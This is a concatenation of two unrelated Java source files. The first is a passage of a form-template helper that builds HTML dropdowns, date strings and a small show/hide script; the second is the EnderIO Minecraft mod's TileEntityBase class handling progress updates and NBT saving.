defaultTemplates.put("verticalTable", FormInputTemplates.verticalTable);
defaultTemplates.put("image", FormInputTemplates.image);
defaultTemplates.put("signature", FormInputTemplates.signature);
defaultTemplates.put("date", FormInputTemplates.datePicker);
return defaultTemplates;
}
// Helper Functions
@SuppressWarnings("unchecked")
private static List<String> dropdownNameList(Object dropDownObject){
List<String> nameList = null;
if(dropDownObject instanceof List){
nameList = ListValueConv.objectToString( (List<Object>)dropDownObject );
}else if(dropDownObject instanceof Map){
nameList = new ArrayList<String>();
Map<Object,Object> dropDownMap = (Map<Object,Object>)dropDownObject;
for(Object keyObj : dropDownMap.keySet()) {
String name = GenericConvert.toString( dropDownMap.get(keyObj), null );
// Skip blank values
if(name == null || name.length() <= 0) {
continue;
}
//insert name
nameList.add(name);
}
}
return nameList;
}
@SuppressWarnings("unchecked")
private static List<String> dropdownKeyList(Object dropDownObject){
List<String> nameList = dropdownNameList(dropDownObject);
List<String> keyList = new ArrayList<String>();
if(dropDownObject instanceof List){
for(int a=0; a<nameList.size(); ++a) {
keyList.add( RegexUtils.removeAllNonAlphaNumeric_allowCommonSeparators( nameList.get(a) ).toLowerCase() );
}
}else if(dropDownObject instanceof Map){
Map<Object,Object> dropDownMap = (Map<Object,Object>)dropDownObject;
for(Object keyObj : dropDownMap.keySet()) {
String key = RegexUtils.removeAllNonAlphaNumeric_allowCommonSeparators( GenericConvert.toString(keyObj, null) ).toLowerCase();
// Skip blank keys
if(key == null || key.length() <= 0) {
continue;
}
// Insert key
keyList.add(key);
}
}
return keyList;
}
@SuppressWarnings("unchecked")
private static Map<String, String> optionsKeyNamePair(Object optionsObject){
Map<String, String> ret = new LinkedHashMap<String, String>();
if(optionsObject instanceof List){
List<String> nameList = ListValueConv.objectToString( (List<Object>)optionsObject );
for(String name:nameList){
ret.put(RegexUtils.removeAllNonAlphaNumeric_allowCommonSeparators(name).toLowerCase(), name);
}
}else if(optionsObject instanceof Map){
Map<String,Object> optionsMap = (Map<String,Object>)optionsObject;
for(String key : optionsMap.keySet()){
String sanitisedKey = RegexUtils.removeAllNonAlphaNumeric_allowCommonSeparators(key).toLowerCase();
ret.put(sanitisedKey, (String)optionsMap.get(key));
}
}
return ret;
}
@SuppressWarnings("unchecked")
private static List<Map<String, String>> getTableChildrenData(FormNode node){
List<Map<String, String>> ret = new ArrayList<Map<String, String>>();
if(node.containsKey("children")){
List<Object> childrenList = (List<Object>)node.get("children");
for(Object obj : childrenList){
if(obj instanceof Map){
ret.add((Map<String, String>)obj);
}
}
}else{
return null;
}
return ret;
}
private static void createDropdownHTMLString(StringBuilder sb, List<String> keyList, List<String> nameList, String selectedKey){
for(int a=0; a<keyList.size(); ++a) {
String key = keyList.get(a);
String nme = nameList.get(a);
sb.append("<"+HtmlTag.OPTION+" "+HtmlTag.VALUE+"=\""+key+"\"");
// Value is selected
if( selectedKey != null && selectedKey.equalsIgnoreCase( key ) ) {
sb.append(" "+HtmlTag.SELECTED+"=\""+HtmlTag.SELECTED+"\"");
}
sb.append(">"+nme+"</"+HtmlTag.OPTION+">");
}
}
@SuppressWarnings("unchecked")
private static List<String> getTableFields(List<Object> children){
List<String> ret = new ArrayList<String>();
for(Object childRaw : children){
if(childRaw instanceof Map){
Map<String, Object> childMap = (Map<String, Object>)childRaw;
if(childMap.containsKey("field")){
ret.add(RegexUtils.removeAllNonAlphaNumeric_allowCommonSeparators((String)childMap.get("field")).toLowerCase());
}
}
}
return ret;
}
private static String millisecondsTimeToYMD(String inDateString, String separator){
//MONTH IS ZERO INDEXED
long dateAsLong = Long.parseLong(inDateString);
Calendar cal = Calendar.getInstance();
cal.setTimeInMillis(dateAsLong);
String year = StringUtils.fromInteger(cal.get(Calendar.YEAR));
String month = StringUtils.fromInteger(cal.get(Calendar.MONTH) + 1); //Calendar is zero indexed, but html is not
String date = StringUtils.fromInteger(cal.get(Calendar.DATE));
StringBuilder sb = new StringBuilder();
sb.append(year);
sb.append(separator);
sb.append(month);
sb.append(separator);
sb.append(date);
return sb.toString();
}
private static String sanitiseYMDDateString(String inDateString){
StringBuilder ret = new StringBuilder();
if(!inDateString.isEmpty() && !inDateString.contains("-")){
inDateString = millisecondsTimeToYMD(inDateString, "-");
}
if(inDateString != null && !inDateString.isEmpty()){
String[] dateSplit = inDateString.split("-");
if(dateSplit != null && dateSplit.length > 1){
for(int i = 0; i < dateSplit.length; ++i){
if(dateSplit[i].length() == 1){
ret.append("0"+dateSplit[i]);
}else{
ret.append(dateSplit[i]);
}
if(i < dateSplit.length - 1){
ret.append("-");
}
}
}else{
ret.append(inDateString);
}
}
return ret.toString();
}
@SuppressWarnings("unchecked")
private static List<Object> getTableHeaders(FormNode node){
if( node.containsKey("headers")) {
Object tableHeadersRaw = node.get("headers");
if( !(tableHeadersRaw instanceof List) ) {
throw new IllegalArgumentException("'tableHeader' parameter found in defination was not a List: "+tableHeadersRaw);
}
return (List<Object>)tableHeadersRaw;
}else{
return null;
}
}
protected static String getDropDownOthersJavascriptFunction(FormNode node){
String dropDownField = RegexUtils.removeAllNonAlphaNumeric_allowCommonSeparators(node.getString(JsonKeys.FIELD)).toLowerCase();
String inputField = node.getString(JsonKeys.DROPDOWN_WITHOTHERS_TEXTFIELD);
String othersOptionToShowTextField = RegexUtils.removeAllNonAlphaNumeric_allowCommonSeparators(node.getString(JsonKeys.OTHERS_OPTION)).toLowerCase();
String funcName = node.getString(JsonKeys.FUNCTION_NAME, "OnChangeDefaultFuncName");
String injectedScript = "<script>"+
"function "+funcName+"() {"+
"var dropDown = document.getElementById(\""+dropDownField+"\");"+
"var inputField = document.getElementById(\""+inputField+"\");"+
"if(dropDown.value == \""+othersOptionToShowTextField+"\"){"+//replace Others with val
"inputField.style.display = \"inline\";"+ //replace element by id
"}else{"+
"inputField.style.display = \"none\";"+ //replace element by id
"}"+
"};"+
"</script>";
return injectedScript;
}
}
|
package com.enderio.core.common;
import com.enderio.core.api.common.util.IProgressTile;
import com.enderio.core.common.network.EnderPacketHandler;
import com.enderio.core.common.network.PacketProgress;
import net.minecraft.block.state.IBlockState;
import net.minecraft.entity.player.EntityPlayer;
import net.minecraft.item.ItemStack;
import net.minecraft.nbt.NBTTagCompound;
import net.minecraft.network.NetworkManager;
import net.minecraft.network.play.server.SPacketUpdateTileEntity;
import net.minecraft.tileentity.TileEntity;
import net.minecraft.util.ITickable;
import net.minecraft.util.math.BlockPos;
import net.minecraft.world.World;
public abstract class TileEntityBase extends TileEntity implements ITickable {
private final int checkOffset = (int) (Math.random() * 20);
protected final boolean isProgressTile;
protected int lastProgressScaled = -1;
protected int ticksSinceLastProgressUpdate;
public TileEntityBase() {
isProgressTile = this instanceof IProgressTile;
}
@Override
public final void update() {
doUpdate();
if (isProgressTile && !worldObj.isRemote) {
int curScaled = getProgressScaled(16);
if (++ticksSinceLastProgressUpdate >= getProgressUpdateFreq() || curScaled != lastProgressScaled) {
sendTaskProgressPacket();
lastProgressScaled = curScaled;
}
}
}
public static int getProgressScaled(int scale, IProgressTile tile) {
return (int) (tile.getProgress() * scale);
}
public final int getProgressScaled(int scale) {
if (isProgressTile) {
return getProgressScaled(scale, (IProgressTile) this);
}
return 0;
}
protected void doUpdate() {
}
protected void sendTaskProgressPacket() {
if (isProgressTile) {
EnderPacketHandler.sendToAllAround(new PacketProgress((IProgressTile) this), this);
}
ticksSinceLastProgressUpdate = 0;
}
/**
* Controls how often progress updates. Has no effect if your TE is not {@link IProgressTile}.
*/
protected int getProgressUpdateFreq() {
return 20;
}
@Override
public final void readFromNBT(NBTTagCompound root) {
super.readFromNBT(root);
readCustomNBT(root);
}
@Override
public final NBTTagCompound writeToNBT(NBTTagCompound root) {
super.writeToNBT(root);
writeCustomNBT(root);
return root;
}
@Override
public NBTTagCompound getUpdateTag() {
NBTTagCompound tag = new NBTTagCompound();
writeCustomNBT(tag);
return tag;
}
@Override
public SPacketUpdateTileEntity getUpdatePacket() {
NBTTagCompound tag = new NBTTagCompound();
writeCustomNBT(tag);
return new SPacketUpdateTileEntity(getPos(), 1, tag);
}
@Override
public void onDataPacket(NetworkManager net, SPacketUpdateTileEntity pkt) {
readCustomNBT(pkt.getNbtCompound());
}
public boolean canPlayerAccess(EntityPlayer player) {
return !isInvalid() && player.getDistanceSqToCenter(getPos().add(0.5, 0.5, 0.5)) <= 64D;
}
protected abstract void writeCustomNBT(NBTTagCompound root);
protected abstract void readCustomNBT(NBTTagCompound root);
protected void updateBlock() {
if (worldObj != null) {
IBlockState bs = worldObj.getBlockState(getPos());
worldObj.notifyBlockUpdate(pos, bs, bs, 3);
}
}
protected boolean isPoweredRedstone() {
return worldObj.isBlockLoaded(getPos()) ? worldObj.getStrongPower(getPos()) > 0 : false;
}
/**
* Called directly after the TE is constructed. This is the place to call non-final methods.
*
* Note: This will not be called when the TE is loaded from the save. Hook into the nbt methods for that.
*/
public void init() {}
/**
* Call this with an interval (in ticks) to find out if the current tick is the one you want to do some work. This
* is staggered so the work of different TEs is stretched out over time.
*
* @see #shouldDoWorkThisTick(int, int) If you need to offset work ticks
*/
protected boolean shouldDoWorkThisTick(int interval) {
return shouldDoWorkThisTick(interval, 0);
}
/**
* Call this with an interval (in ticks) to find out if the current tick is the one you want to do some work. This
* is staggered so the work of different TEs is stretched out over time.
*
* If you have different work items in your TE, use this variant to stagger your work.
*/
protected boolean shouldDoWorkThisTick(int interval, int offset) {
return (worldObj.getTotalWorldTime() + checkOffset + offset) % interval == 0;
}
@Override
public boolean shouldRefresh(World world, BlockPos pos, IBlockState oldState, IBlockState newSate) {
return oldState.getBlock() != newSate.getBlock();
}
/**
* Called server-side when a GhostSlot is changed. Check that the given slot
* number really is a ghost slot before storing the given stack.
*
* @param slot
* The slot number that was given to the ghost slot
* @param stack
* The stack that should be placed, null to clear
*/
public void setGhostSlotContents(int slot, ItemStack stack) {
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.